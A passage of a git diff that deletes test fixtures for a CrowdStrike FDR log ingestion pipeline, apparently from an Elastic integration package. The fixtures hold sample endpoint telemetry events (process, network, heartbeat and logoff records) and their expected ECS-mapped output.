all","ParentAuthenticationId":"29530993","TargetProcessId":"434985669758362104","ImageFileName":"\\Device\\HarddiskVolume3\\Program Files\\NirSoft\\SoundVolumeView.exe","SourceThreadId":"434985668331321297","Entitlements":"15","name":"ProcessRollup2V19","ProcessStartTime":"1660636868.576","ProcessParameterFlags":"24577","aid":"50deaa55144543089a1f463b568cdc53","cid":"1301ac65ae144fbb9689a8472f828c2e"} -{"AgentLoadFlags":"none","AgentLocalTime":"none","AgentTimeOffset":"63878691745","AgentVersion":"2025.02.1","BiosManufacturer":"none","BiosVersion":"none","ChassisType":"none","City":"Bengaluru","ComputerName":"none","ConfigBuild":"1007.32.20250201.9","ConfigIDBuild":"20250201","Continent":"Asia","Country":"India","FalconGroupingTags":"none","FirstSeen":"1742447937.000","HostHiddenStatus":"visible","MachineDomain":"none","OU":"none","PointerSize":"none","ProductType":"none","SensorGroupingTags":"none","ServicePackMajor":"none","SiteName":"none","SystemManufacturer":"Apple","SystemProductName":"none","Time":"1743094945.000","Timezone":"Asia/Kolkata","Version":"iOS 18.3.2","aid":"44444444444444444444444444444444","aip":"0.0.0.0","cid":"55555555555555555555555555555555","event_platform":"iOS"} -{"AuthenticationId":"317005428","AuthenticationPackage":"Negotiate","ConfigBuild":"1007.3.0011603.1","ConfigStateHash":"3950066843","EffectiveTransmissionClass":"2","Entitlements":"15","LogoffTime":"1604855132.756","LogonDomain":"dom1","LogonServer":"srv2","LogonTime":"1604855131.666","LogonType":"7","PasswordLastSet":"1598119332.510","RemoteAccount":"1","UserFlags":"32","UserIsAdmin":"0","UserLogoffType":"3","UserLogonFlags":"0","UserName":"user4","UserPrincipal":"user.name@dom2.com","UserSid":"S-1-5-21-606747145-1364589140-725345543-28636","aid":"ffffffffe0104823bd3de859d5bc8bc7","aip":"67.43.156.13","cid":"ffffffff30a3407dae27d0503611022d","event_platform":"Win","event_simpleName":"UserLogoff","id":"ffffffff-1111-11eb-8913-0287fd11c79b","name":"UserLogoffV3","UTCTimestamp":"1604855134"} diff --git a/test/packages/benchmarks/system_benchmark_crowdstrike/data_stream/fdr/_dev/test/pipeline/test-fdr.log-expected.json b/test/packages/benchmarks/system_benchmark_crowdstrike/data_stream/fdr/_dev/test/pipeline/test-fdr.log-expected.json deleted file mode 100644 index fd96fb6dc9..0000000000 --- a/test/packages/benchmarks/system_benchmark_crowdstrike/data_stream/fdr/_dev/test/pipeline/test-fdr.log-expected.json +++ /dev/null @@ -1,12580 +0,0 @@ -{ - "expected": [ - { - "@timestamp": "2021-07-07T17:05:21.162Z", - "crowdstrike": { - "ConfigStateHash": "1620585913", - "ContextTimeStamp": "2021-07-07T17:05:21.137Z", - "EffectiveTransmissionClass": "2", - "Entitlements": "15", - "RGID": "501", - "RUID": "501", - "SVGID": "20", - "SVUID": "501", - "SessionProcessId": "363970027584976556", - "SourceProcessId": "362225661973273550", - "SourceThreadId": "0", - "SyntheticPR2Flags": "8", - "cid": "ffffffff15754bcfb5f9152ec7ac90ac", - "id": "ffffffff-1111-11eb-8dd4-061759968cdf", - "name": "SyntheticProcessRollup2MacV3" - }, - "device": { - "id": "ffffffffa63e404bba4bff7465ab3afb" - }, - "event": { - "action": "SyntheticProcessRollup2", - "category": [ - "process" - ], - "created": "2021-07-07T17:05:21.162Z", - "id": "ffffffff-1111-11eb-8dd4-061759968cdf|ffffffffa63e404bba4bff7465ab3afb|ffffffff15754bcfb5f9152ec7ac90ac", - "kind": "event", - "original": "{\"ParentProcessId\":\"362225661973273550\",\"SourceProcessId\":\"362225661973273550\",\"aip\":\"67.43.156.14\",\"SessionProcessId\":\"363970027584976556\",\"SyntheticPR2Flags\":\"8\",\"event_platform\":\"Mac\",\"SVUID\":\"501\",\"id\":\"ffffffff-1111-11eb-8dd4-061759968cdf\",\"EffectiveTransmissionClass\":\"2\",\"timestamp\":\"1625677521162\",\"ProcessGroupId\":\"363970027584976556\",\"event_simpleName\":\"SyntheticProcessRollup2\",\"RawProcessId\":\"9505\",\"ContextTimeStamp\":\"1625677521.137\",\"GID\":\"20\",\"ConfigStateHash\":\"1620585913\",\"SVGID\":\"20\",\"ConfigBuild\":\"1007.4.0013701.1\",\"UID\":\"501\",\"CommandLine\":\"/bin/sh -s unix:cmd\",\"TargetProcessId\":\"363970027584976556\",\"ImageFileName\":\"/bin/sh\",\"RGID\":\"501\",\"SourceThreadId\":\"0\",\"Entitlements\":\"15\",\"name\":\"SyntheticProcessRollup2MacV3\",\"RUID\":\"501\",\"aid\":\"ffffffffa63e404bba4bff7465ab3afb\",\"cid\":\"ffffffff15754bcfb5f9152ec7ac90ac\"}", - "outcome": "success", - "type": [ - "start" - ] - }, - "host": { - "id": "ffffffffa63e404bba4bff7465ab3afb", - "os": { - "type": "macos" - } - }, - "message": "SyntheticProcessRollup2", - "observer": { - "address": [ - "67.43.156.14" - ], - "geo": { - "continent_name": "Asia", - "country_iso_code": "BT", - "country_name": "Bhutan", - "location": { - "lat": 27.5, - "lon": 90.5 - } - }, - "ip": [ - "67.43.156.14" - ], - "serial_number": "ffffffffa63e404bba4bff7465ab3afb", - "version": "1007.4.0013701.1" - }, - "process": { - "args": [ - "/bin/sh", - "-s", - "unix:cmd" - ], - "args_count": 3, - "command_line": "/bin/sh -s unix:cmd", - "entity_id": "363970027584976556", - "executable": "/bin/sh", - "name": "sh", - "parent": { - "entity_id": "362225661973273550" - }, - "pgid": 363970027584976556, - "pid": 9505, - "real_user": { - "id": "501" - } - }, - "related": { - "hash": [ - "1620585913" - ], - "ip": [ - "67.43.156.14" - ], - "user": [ - "501" - ] - }, - "tags": [ - "preserve_original_event" - ], - "user": { - "Ext": { - "real": { - "id": "501" - } - }, - "group": { - "id": "20" - }, - "id": "501" - } - }, - { - "@timestamp": "2021-07-07T17:05:24.102Z", - "crowdstrike": { - "AsepWrittenCount": 0, - "ConfigStateHash": "3090255842", - "ContextProcessId": "365053603452626914", - "ContextTimeStamp": "2021-07-07T17:05:23.068Z", - "DirectoryCreatedCount": 0, - "DnsRequestCount": 0, - "EffectiveTransmissionClass": "3", - "Entitlements": "15", - "ExecutableDeletedCount": 0, - "FileDeletedCount": 0, - "NetworkBindCount": 0, - "NetworkCapableAsepWriteCount": 0, - "NetworkCloseCount": 0, - "NetworkConnectCount": 0, - "NetworkListenCount": 0, - "NetworkRecvAcceptCount": 0, - "NewExecutableWrittenCount": 0, - "SuspectStackCount": 0, - "SuspiciousDnsRequestCount": 0, - "cid": "ffffffff15754bcfb5f9152ec7ac90ac", - "id": "ffffffff-1111-11eb-9d75-02bcf3ade03b", - "name": "EndOfProcessMacV15" - }, - "device": { - "id": "ffffffff3c0846978560dbc0048d6555" - }, - "event": { - "action": "EndOfProcess", - "category": [ - "process" - ], - "created": "2021-07-07T17:05:24.102Z", - "id": "ffffffff-1111-11eb-9d75-02bcf3ade03b|ffffffff3c0846978560dbc0048d6555|ffffffff15754bcfb5f9152ec7ac90ac", - "kind": "event", - "original": "{\"FileDeletedCount\":\"0\",\"DirectoryCreatedCount\":\"0\",\"ContextThreadId\":\"0\",\"aip\":\"67.43.156.14\",\"NetworkConnectCount\":\"0\",\"NetworkListenCount\":\"0\",\"event_platform\":\"Mac\",\"NetworkBindCount\":\"0\",\"NetworkRecvAcceptCount\":\"0\",\"id\":\"ffffffff-1111-11eb-9d75-02bcf3ade03b\",\"NewExecutableWrittenCount\":\"0\",\"NetworkCloseCount\":\"0\",\"EffectiveTransmissionClass\":\"3\",\"SuspectStackCount\":\"0\",\"timestamp\":\"1625677524102\",\"event_simpleName\":\"EndOfProcess\",\"RawProcessId\":\"33454\",\"ContextTimeStamp\":\"1625677523.068\",\"ConfigStateHash\":\"3090255842\",\"ContextProcessId\":\"365053603452626914\",\"AsepWrittenCount\":\"0\",\"SuspiciousDnsRequestCount\":\"0\",\"ConfigBuild\":\"1007.4.0013701.1\",\"NetworkCapableAsepWriteCount\":\"0\",\"ExecutableDeletedCount\":\"0\",\"TargetProcessId\":\"365053603452626914\",\"DnsRequestCount\":\"0\",\"Entitlements\":\"15\",\"name\":\"EndOfProcessMacV15\",\"aid\":\"ffffffff3c0846978560dbc0048d6555\",\"cid\":\"ffffffff15754bcfb5f9152ec7ac90ac\"}", - "outcome": "success", - "type": [ - "end" - ] - }, - "host": { - "id": "ffffffff3c0846978560dbc0048d6555", - "os": { - "type": "macos" - } - }, - "message": "EndOfProcess", - "observer": { - "address": [ - "67.43.156.14" - ], - "geo": { - "continent_name": "Asia", - "country_iso_code": "BT", - "country_name": "Bhutan", - "location": { - "lat": 27.5, - "lon": 90.5 - } - }, - "ip": [ - "67.43.156.14" - ], - "serial_number": "ffffffff3c0846978560dbc0048d6555", - "version": "1007.4.0013701.1" - }, - "process": { - "entity_id": "365053603452626914", - "pid": 33454, - "thread": { - "id": 0 - } - }, - "related": { - "hash": [ - "3090255842" - ], - "ip": [ - "67.43.156.14" - ] - }, - "tags": [ - "preserve_original_event" - ] - }, - { - "@timestamp": "2021-07-07T17:04:48.615Z", - "crowdstrike": { - "ConfigStateHash": "1620585913", - "ConnectionFlags": "0", - "ContextProcessId": "365042236081053654", - "ContextTimeStamp": "2021-07-07T17:04:48.594Z", - "EffectiveTransmissionClass": "3", - "Entitlements": "15", - "InContext": "0", - "LocalAddressIP6": [ - "2a02:cf40:add:4002:91f2:a9b2:e09a:6fc6" - ], - "cid": "ffffffff15754bcfb5f9152ec7ac90ac", - "id": "ffffffff-1111-11eb-ad8d-064c77be2fd1", - "name": "RawBindIP6MacV10" - }, - "destination": { - "address": "2a02:cf40:add:4002:91f2:a9b2:e09a:6fc6", - "geo": { - "continent_name": "Europe", - "country_iso_code": "NO", - "country_name": "Norway", - "location": { - "lat": 62.0, - "lon": 10.0 - } - }, - "ip": "2a02:cf40:add:4002:91f2:a9b2:e09a:6fc6", - "port": 546 - }, - "device": { - "id": "ffffffffc59c473aa7fcbbe7438082cb" - }, - "event": { - "action": "RawBindIP6", - "category": [ - "network" - ], - "created": "2021-07-07T17:04:48.615Z", - "id": "ffffffff-1111-11eb-ad8d-064c77be2fd1|ffffffffc59c473aa7fcbbe7438082cb|ffffffff15754bcfb5f9152ec7ac90ac", - "kind": "event", - "original": "{\"event_simpleName\":\"RawBindIP6\",\"ContextTimeStamp\":\"1625677488.594\",\"LocalAddressIP6\":\"2a02:cf40:add:4002:91f2:a9b2:e09a:6fc6\",\"RemoteAddressIP6\":\"2a02:cf40:add:4002:91f2:a9b2:e09a:6fc6\",\"ConfigStateHash\":\"1620585913\",\"ConnectionFlags\":\"0\",\"ContextProcessId\":\"365042236081053654\",\"RemotePort\":\"546\",\"aip\":\"67.43.156.14\",\"ConfigBuild\":\"1007.4.0013701.1\",\"event_platform\":\"Mac\",\"LocalPort\":\"547\",\"Entitlements\":\"15\",\"name\":\"RawBindIP6MacV10\",\"id\":\"ffffffff-1111-11eb-ad8d-064c77be2fd1\",\"Protocol\":\"17\",\"EffectiveTransmissionClass\":\"3\",\"aid\":\"ffffffffc59c473aa7fcbbe7438082cb\",\"ConnectionDirection\":\"2\",\"InContext\":\"0\",\"timestamp\":\"1625677488615\",\"cid\":\"ffffffff15754bcfb5f9152ec7ac90ac\"}", - "outcome": "success", - "type": [ - "start", - "connection" - ] - }, - "host": { - "id": "ffffffffc59c473aa7fcbbe7438082cb", - "os": { - "type": "macos" - } - }, - "message": "RawBindIP6", - "network": { - "community_id": "1:ZmJm1KFUrdmL4/rYSRwMQ18GXnk=", - "direction": "unknown", - "iana_number": "17", - "transport": "udp" - }, - "observer": { - "address": [ - "67.43.156.14" - ], - "geo": { - "continent_name": "Asia", - "country_iso_code": "BT", - "country_name": "Bhutan", - "location": { - "lat": 27.5, - "lon": 90.5 - } - }, - "ip": [ - "67.43.156.14" - ], - "serial_number": "ffffffffc59c473aa7fcbbe7438082cb", - "version": "1007.4.0013701.1" - }, - "process": { - "entity_id": "365042236081053654" - }, - "related": { - "hash": [ - "1620585913" - ], - "ip": [ - "67.43.156.14", - "2a02:cf40:add:4002:91f2:a9b2:e09a:6fc6" - ] - }, - "source": { - "address": "2a02:cf40:add:4002:91f2:a9b2:e09a:6fc6", - "geo": { - "continent_name": "Europe", - "country_iso_code": "NO", - "country_name": "Norway", - "location": { - "lat": 62.0, - "lon": 10.0 - } - }, - "ip": "2a02:cf40:add:4002:91f2:a9b2:e09a:6fc6", - "port": 547 - }, - "tags": [ - "preserve_original_event" - ] - }, - { - "@timestamp": "2021-07-07T17:05:04.527Z", - "crowdstrike": { - "ConfigStateHash": "1620585913", - "EffectiveTransmissionClass": "2", - "Entitlements": "15", - "ProcessCount": 4, - "SHA256HashData": "f8bd34d4ac025f862c6fe8f3fd3f170072f94f1f2ec9dc6cb2d7925422b77018", - "Timeout": 600, - "cid": "ffffffff15754bcfb5f9152ec7ac90ac", - "id": "ffffffff-1111-11eb-822b-06081a3f0f45", - "name": "ProcessRollup2StatsMacV1" - }, - "device": { - "id": "ffffffff59fe460783ea45d59e417d6f" - }, - "event": { - "action": "ProcessRollup2Stats", - "category": [ - "process" - ], - "created": "2021-07-07T17:05:04.527Z", - "id": "ffffffff-1111-11eb-822b-06081a3f0f45|ffffffff59fe460783ea45d59e417d6f|ffffffff15754bcfb5f9152ec7ac90ac", - "kind": "state", - "original": "{\"event_simpleName\":\"ProcessRollup2Stats\",\"ConfigStateHash\":\"1620585913\",\"Timeout\":\"600\",\"aip\":\"67.43.156.14\",\"SHA256HashData\":\"f8bd34d4ac025f862c6fe8f3fd3f170072f94f1f2ec9dc6cb2d7925422b77018\",\"ProcessCount\":\"4\",\"ConfigBuild\":\"1007.4.0013701.1\",\"UID\":\"502\",\"event_platform\":\"Mac\",\"CommandLine\":\"ruby --disable-gems sorbet/feature_dependency_plugin.rb --class EmergingAlbertsonsPickupBannerDiscount --method feature_dependency --source feature_dependency Domain::FeatureDependencies::RouletteUserFeature.new(\\n feature_name: FEATURE_NAME,\\n variants: [FEATURE_VARIANT],\\n )\",\"Entitlements\":\"15\",\"name\":\"ProcessRollup2StatsMacV1\",\"id\":\"ffffffff-1111-11eb-822b-06081a3f0f45\",\"EffectiveTransmissionClass\":\"2\",\"aid\":\"ffffffff59fe460783ea45d59e417d6f\",\"timestamp\":\"1625677504527\",\"cid\":\"ffffffff15754bcfb5f9152ec7ac90ac\"}", - "outcome": "unknown", - "type": [ - "info" - ] - }, - "host": { - "id": "ffffffff59fe460783ea45d59e417d6f", - "os": { - "type": "macos" - } - }, - "message": "ProcessRollup2Stats", - "observer": { - "address": [ - "67.43.156.14" - ], - "geo": { - "continent_name": "Asia", - "country_iso_code": "BT", - "country_name": "Bhutan", - "location": { - "lat": 27.5, - "lon": 90.5 - } - }, - "ip": [ - "67.43.156.14" - ], - "serial_number": "ffffffff59fe460783ea45d59e417d6f", - "version": "1007.4.0013701.1" - }, - "process": { - "args": [ - "ruby", - "--disable-gems", - "sorbet/feature_dependency_plugin.rb", - "--class", - "EmergingAlbertsonsPickupBannerDiscount", - "--method", - "feature_dependency", - "--source", - "feature_dependency", - "Domain::FeatureDependencies::RouletteUserFeature.new(\n", - "feature_name:", - "FEATURE_NAME,\n", - "variants:", - "[FEATURE_VARIANT],\n", - ")" - ], - "args_count": 15, - "command_line": "ruby --disable-gems sorbet/feature_dependency_plugin.rb --class EmergingAlbertsonsPickupBannerDiscount --method feature_dependency --source feature_dependency Domain::FeatureDependencies::RouletteUserFeature.new(\n feature_name: FEATURE_NAME,\n variants: [FEATURE_VARIANT],\n )", - "hash": { - "sha256": "f8bd34d4ac025f862c6fe8f3fd3f170072f94f1f2ec9dc6cb2d7925422b77018" - } - }, - "related": { - "hash": [ - "f8bd34d4ac025f862c6fe8f3fd3f170072f94f1f2ec9dc6cb2d7925422b77018", - "1620585913" - ], - "ip": [ - "67.43.156.14" - ], - "user": [ - "502" - ] - }, - "tags": [ - "preserve_original_event" - ], - "user": { - "id": "502" - } - }, - { - "@timestamp": "2021-07-07T17:05:14.783Z", - "crowdstrike": { - "ConfigIDBase": "65994753", - "ConfigIDBuild": "13701", - "ConfigIDPlatform": "4", - "ConfigStateHash": "3090255842", - "ConfigurationVersion": "10", - "EffectiveTransmissionClass": "0", - "Entitlements": "15", - "NetworkContainmentState": "0", - "ProvisionState": "1", - "SensorStateBitMap": "0", - "cid": "ffffffff15754bcfb5f9152ec7ac90ac", - "id": "ffffffff-1111-11eb-97c6-02fd02aca859", - "name": "SensorHeartbeatMacV4" - }, - "device": { - "id": "ffffffffe1ad47b6b5b44ae9151a6cf3" - }, - "event": { - "action": "SensorHeartbeat", - "category": [ - "package" - ], - "created": "2021-07-07T17:05:14.783Z", - "id": "ffffffff-1111-11eb-97c6-02fd02aca859|ffffffffe1ad47b6b5b44ae9151a6cf3|ffffffff15754bcfb5f9152ec7ac90ac", - "kind": "event", - "original": "{\"event_simpleName\":\"SensorHeartbeat\",\"ConfigStateHash\":\"3090255842\",\"NetworkContainmentState\":\"0\",\"aip\":\"67.43.156.14\",\"ConfigIDBase\":\"65994753\",\"SensorStateBitMap\":\"0\",\"ConfigBuild\":\"1007.4.0013701.1\",\"event_platform\":\"Mac\",\"ConfigurationVersion\":\"10\",\"Entitlements\":\"15\",\"name\":\"SensorHeartbeatMacV4\",\"ConfigIDPlatform\":\"4\",\"id\":\"ffffffff-1111-11eb-97c6-02fd02aca859\",\"ConfigIDBuild\":\"13701\",\"EffectiveTransmissionClass\":\"0\",\"aid\":\"ffffffffe1ad47b6b5b44ae9151a6cf3\",\"ProvisionState\":\"1\",\"timestamp\":\"1625677514783\",\"cid\":\"ffffffff15754bcfb5f9152ec7ac90ac\"}", - "outcome": "success", - "type": [ - "info" - ] - }, - "host": { - "id": "ffffffffe1ad47b6b5b44ae9151a6cf3", - "os": { - "type": "macos" - } - }, - "message": "SensorHeartbeat", - "observer": { - "address": [ - "67.43.156.14" - ], - "geo": { - "continent_name": "Asia", - "country_iso_code": "BT", - "country_name": "Bhutan", - "location": { - "lat": 27.5, - "lon": 90.5 - } - }, - "ip": [ - "67.43.156.14" - ], - "serial_number": "ffffffffe1ad47b6b5b44ae9151a6cf3", - "version": "1007.4.0013701.1" - }, - "related": { - "hash": [ - "3090255842" - ], - "ip": [ - "67.43.156.14" - ] - }, - "tags": [ - "preserve_original_event" - ] - }, - { - "@timestamp": "2021-07-07T17:05:02.500Z", - "crowdstrike": { - "ConfigStateHash": "1620585913", - "EffectiveTransmissionClass": "2", - "Entitlements": "15", - "MD5HashData": "88922d50263b059696c2af5a99906562", - "MachOSubType": "1", - "RGID": "0", - "RUID": "0", - "SHA256HashData": "d4ff1c438e330777002332a305fcf965cfaa7d0dbeb899293d347298cbf6d4b6", - "SVGID": "0", - "SVUID": "0", - "SessionProcessId": "362213307092004097", - "SourceProcessId": "362213307092004097", - "SourceThreadId": "0", - "cid": "ffffffff15754bcfb5f9152ec7ac90ac", - "id": "ffffffff-1111-11eb-a9ce-02e9216bdbcb", - "name": "ProcessRollup2MacV5" - }, - "device": { - "id": "ffffffff8be84591864008eb2e484920" - }, - "event": { - "action": "ProcessRollup2", - "category": [ - "process" - ], - "created": "2021-07-07T17:05:02.500Z", - "id": "ffffffff-1111-11eb-a9ce-02e9216bdbcb|ffffffff8be84591864008eb2e484920|ffffffff15754bcfb5f9152ec7ac90ac", - "kind": "event", - "original": "{\"MachOSubType\":\"1\",\"ParentProcessId\":\"362213307092004097\",\"SourceProcessId\":\"362213307092004097\",\"aip\":\"67.43.156.14\",\"SessionProcessId\":\"362213307092004097\",\"SHA1HashData\":\"0000000000000000000000000000000000000000\",\"event_platform\":\"Mac\",\"ProcessEndTime\":\"\",\"SVUID\":\"0\",\"ParentBaseFileName\":\"launchd\",\"id\":\"ffffffff-1111-11eb-a9ce-02e9216bdbcb\",\"EffectiveTransmissionClass\":\"2\",\"timestamp\":\"1625677502500\",\"ProcessGroupId\":\"362213307092004097\",\"event_simpleName\":\"ProcessRollup2\",\"RawProcessId\":\"56254\",\"GID\":\"0\",\"ConfigStateHash\":\"1620585913\",\"SVGID\":\"0\",\"MD5HashData\":\"88922d50263b059696c2af5a99906562\",\"SHA256HashData\":\"d4ff1c438e330777002332a305fcf965cfaa7d0dbeb899293d347298cbf6d4b6\",\"ConfigBuild\":\"1007.4.0013701.1\",\"UID\":\"0\",\"CommandLine\":\"xpcproxy com.apple.mdworker.shared.01000000-0600-0000-0000-000000000000\",\"TargetProcessId\":\"363276350115996101\",\"ImageFileName\":\"/usr/libexec/xpcproxy\",\"RGID\":\"0\",\"SourceThreadId\":\"0\",\"Entitlements\":\"15\",\"name\":\"ProcessRollup2MacV5\",\"RUID\":\"0\",\"ProcessStartTime\":\"1625677502.233\",\"aid\":\"ffffffff8be84591864008eb2e484920\",\"cid\":\"ffffffff15754bcfb5f9152ec7ac90ac\"}", - "outcome": "success", - "type": [ - "start" - ] - }, - "host": { - "id": "ffffffff8be84591864008eb2e484920", - "os": { - "type": "macos" - } - }, - "message": "ProcessRollup2", - "observer": { - "address": [ - "67.43.156.14" - ], - "geo": { - "continent_name": "Asia", - "country_iso_code": "BT", - "country_name": "Bhutan", - "location": { - "lat": 27.5, - "lon": 90.5 - } - }, - "ip": [ - "67.43.156.14" - ], - "serial_number": "ffffffff8be84591864008eb2e484920", - "version": "1007.4.0013701.1" - }, - "process": { - "args": [ - "xpcproxy", - "com.apple.mdworker.shared.01000000-0600-0000-0000-000000000000" - ], - "args_count": 2, - "command_line": "xpcproxy com.apple.mdworker.shared.01000000-0600-0000-0000-000000000000", - "entity_id": "363276350115996101", - "executable": "/usr/libexec/xpcproxy", - "hash": { - "md5": "88922d50263b059696c2af5a99906562", - "sha256": "d4ff1c438e330777002332a305fcf965cfaa7d0dbeb899293d347298cbf6d4b6" - }, - "name": "xpcproxy", - "parent": { - "entity_id": "362213307092004097", - "name": "launchd" - }, - "pgid": 362213307092004097, - "pid": 56254, - "real_user": { - "id": "0" - }, - "start": "2021-07-07T17:05:02.233Z" - }, - "related": { - "hash": [ - "88922d50263b059696c2af5a99906562", - "d4ff1c438e330777002332a305fcf965cfaa7d0dbeb899293d347298cbf6d4b6", - "1620585913" - ], - "ip": [ - "67.43.156.14" - ], - "user": [ - "0" - ] - }, - "tags": [ - "preserve_original_event" - ], - "user": { - "Ext": { - "real": { - "id": "0" - } - }, - "group": { - "id": "0" - }, - "id": "0" - } - }, - { - "@timestamp": "2021-07-07T17:05:05.511Z", - "crowdstrike": { - "ConfigStateHash": "1701000200", - "ConnectionFlags": "0", - "ContextProcessId": "17307488247882", - "ContextTimeStamp": "2021-07-07T17:05:04.982Z", - "EffectiveTransmissionClass": "3", - "Entitlements": "15", - "InContext": "0", - "LocalAddressIP4": [ - "0.0.0.0" - ], - "cid": "ffffffff15754bcfb5f9152ec7ac90ac", - "id": "ffffffff-1111-11eb-9d7c-02e8a46f51a5", - "name": "NetworkReceiveAcceptIP4LinV5" - }, - "destination": { - "address": "0.0.0.0", - "ip": "0.0.0.0", - "port": 39920 - }, - "device": { - "id": "ffffffff5a2e420c99f6b6d3a5d9de9b" - }, - "event": { - "action": "NetworkReceiveAcceptIP4", - "category": [ - "network" - ], - "created": "2021-07-07T17:05:05.511Z", - "id": "ffffffff-1111-11eb-9d7c-02e8a46f51a5|ffffffff5a2e420c99f6b6d3a5d9de9b|ffffffff15754bcfb5f9152ec7ac90ac", - "kind": "event", - "original": "{\"LocalAddressIP4\":\"0.0.0.0\",\"event_simpleName\":\"NetworkReceiveAcceptIP4\",\"ContextTimeStamp\":\"1625677504.982\",\"ConfigStateHash\":\"1701000200\",\"ConnectionFlags\":\"0\",\"ContextProcessId\":\"17307488247882\",\"RemotePort\":\"53\",\"aip\":\"67.43.156.14\",\"ConfigBuild\":\"1007.8.0011308.1\",\"event_platform\":\"Lin\",\"LocalPort\":\"39920\",\"Entitlements\":\"15\",\"name\":\"NetworkReceiveAcceptIP4LinV5\",\"id\":\"ffffffff-1111-11eb-9d7c-02e8a46f51a5\",\"Protocol\":\"17\",\"EffectiveTransmissionClass\":\"3\",\"aid\":\"ffffffff5a2e420c99f6b6d3a5d9de9b\",\"RemoteAddressIP4\":\"67.43.156.14\",\"ConnectionDirection\":\"1\",\"InContext\":\"0\",\"timestamp\":\"1625677505511\",\"cid\":\"ffffffff15754bcfb5f9152ec7ac90ac\"}", - "outcome": "unknown", - "type": [ - "allowed", - "access", - "connection" - ] - }, - "host": { - "id": "ffffffff5a2e420c99f6b6d3a5d9de9b", - "os": { - "type": "linux" - } - }, - "message": "NetworkReceiveAcceptIP4", - "network": { - "community_id": "1:urvmigA14TUbvxTimPg744QEiSA=", - "direction": "inbound", - "iana_number": "17", - "transport": "udp" - }, - "observer": { - "address": [ - "67.43.156.14" - ], - "geo": { - "continent_name": "Asia", - "country_iso_code": "BT", - "country_name": "Bhutan", - "location": { - "lat": 27.5, - "lon": 90.5 - } - }, - "ip": [ - "67.43.156.14" - ], - "serial_number": "ffffffff5a2e420c99f6b6d3a5d9de9b", - "version": "1007.8.0011308.1" - }, - "process": { - "entity_id": "17307488247882" - }, - "related": { - "hash": [ - "1701000200" - ], - "ip": [ - "67.43.156.14", - "0.0.0.0" - ] - }, - "source": { - "address": "67.43.156.14", - "as": { - "number": 35908 - }, - "geo": { - "continent_name": "Asia", - "country_iso_code": "BT", - "country_name": "Bhutan", - "location": { - "lat": 27.5, - "lon": 90.5 - } - }, - "ip": "67.43.156.14", - "port": 53 - }, - "tags": [ - "preserve_original_event" - ] - }, - { - "@timestamp": "2021-07-07T17:05:22.009Z", - "crowdstrike": { - "ConfigStateHash": "3090255842", - "ConnectionFlags": "0", - "ContextProcessId": "362579458925546303", - "ContextTimeStamp": "2021-07-07T17:05:21.866Z", - "EffectiveTransmissionClass": "3", - "Entitlements": "15", - "InContext": "0", - "LocalAddressIP4": [ - "67.43.156.14" - ], - "cid": "ffffffff15754bcfb5f9152ec7ac90ac", - "id": "ffffffff-1111-11eb-81d4-0282ad9ac82d", - "name": "RawBindIP4MacV10" - }, - "destination": { - "address": "0.0.0.0", - "ip": "0.0.0.0", - "port": 0 - }, - "device": { - "id": "ffffffff01fc49949cf06bf0bce3c010" - }, - "event": { - "action": "RawBindIP4", - "category": [ - "network" - ], - "created": "2021-07-07T17:05:22.009Z", - "id": "ffffffff-1111-11eb-81d4-0282ad9ac82d|ffffffff01fc49949cf06bf0bce3c010|ffffffff15754bcfb5f9152ec7ac90ac", - "kind": "event", - "original": "{\"LocalAddressIP4\":\"67.43.156.14\",\"event_simpleName\":\"RawBindIP4\",\"ContextTimeStamp\":\"1625677521.866\",\"ConfigStateHash\":\"3090255842\",\"ConnectionFlags\":\"0\",\"ContextProcessId\":\"362579458925546303\",\"RemotePort\":\"0\",\"aip\":\"67.43.156.14\",\"ConfigBuild\":\"1007.4.0013701.1\",\"event_platform\":\"Mac\",\"LocalPort\":\"53\",\"Entitlements\":\"15\",\"name\":\"RawBindIP4MacV10\",\"id\":\"ffffffff-1111-11eb-81d4-0282ad9ac82d\",\"Protocol\":\"17\",\"EffectiveTransmissionClass\":\"3\",\"aid\":\"ffffffff01fc49949cf06bf0bce3c010\",\"RemoteAddressIP4\":\"0.0.0.0\",\"ConnectionDirection\":\"2\",\"InContext\":\"0\",\"timestamp\":\"1625677522009\",\"cid\":\"ffffffff15754bcfb5f9152ec7ac90ac\"}", - "outcome": "success", - "type": [ - "start", - "connection" - ] - }, - "host": { - "id": "ffffffff01fc49949cf06bf0bce3c010", - "os": { - "type": "macos" - } - }, - "message": "RawBindIP4", - "network": { - "direction": "unknown", - "iana_number": "17", - "transport": "udp" - }, - "observer": { - "address": [ - "67.43.156.14" - ], - "geo": { - "continent_name": "Asia", - "country_iso_code": "BT", - "country_name": "Bhutan", - "location": { - "lat": 27.5, - "lon": 90.5 - } - }, - "ip": [ - "67.43.156.14" - ], - "serial_number": "ffffffff01fc49949cf06bf0bce3c010", - "version": "1007.4.0013701.1" - }, - "process": { - "entity_id": "362579458925546303" - }, - "related": { - "hash": [ - "3090255842" - ], - "ip": [ - "67.43.156.14", - "0.0.0.0" - ] - }, - "source": { - "address": "67.43.156.14", - "as": { - "number": 35908 - }, - "geo": { - "continent_name": "Asia", - "country_iso_code": "BT", - "country_name": "Bhutan", - "location": { - "lat": 27.5, - "lon": 90.5 - } - }, - "ip": "67.43.156.14", - "port": 53 - }, - "tags": [ - "preserve_original_event" - ] - }, - { - "@timestamp": "2021-07-07T17:05:24.048Z", - "crowdstrike": { - "ConfigStateHash": "3090255842", - "ConnectionFlags": "0", - "ContextProcessId": "364783686797112486", - "ContextTimeStamp": "2021-07-07T17:05:23.901Z", - "EffectiveTransmissionClass": "3", - "Entitlements": "15", - "InContext": "0", - "LocalAddressIP6": [ - "0:0:0:0:0:0:0:0" - ], - "cid": "ffffffff15754bcfb5f9152ec7ac90ac", - "id": "ffffffff-1111-11eb-97c6-02fd02aca859", - "name": "NetworkConnectIP6MacV10" - }, - "destination": { - "address": "127.0.0.1", - "ip": "127.0.0.1", - "port": 50626 - }, - "device": { - "id": "ffffffff083845f68a7de3d95cb34361" - }, - "event": { - "action": "NetworkConnectIP6", - "category": [ - "network" - ], - "created": "2021-07-07T17:05:24.048Z", - "id": "ffffffff-1111-11eb-97c6-02fd02aca859|ffffffff083845f68a7de3d95cb34361|ffffffff15754bcfb5f9152ec7ac90ac", - "kind": "event", - "original": 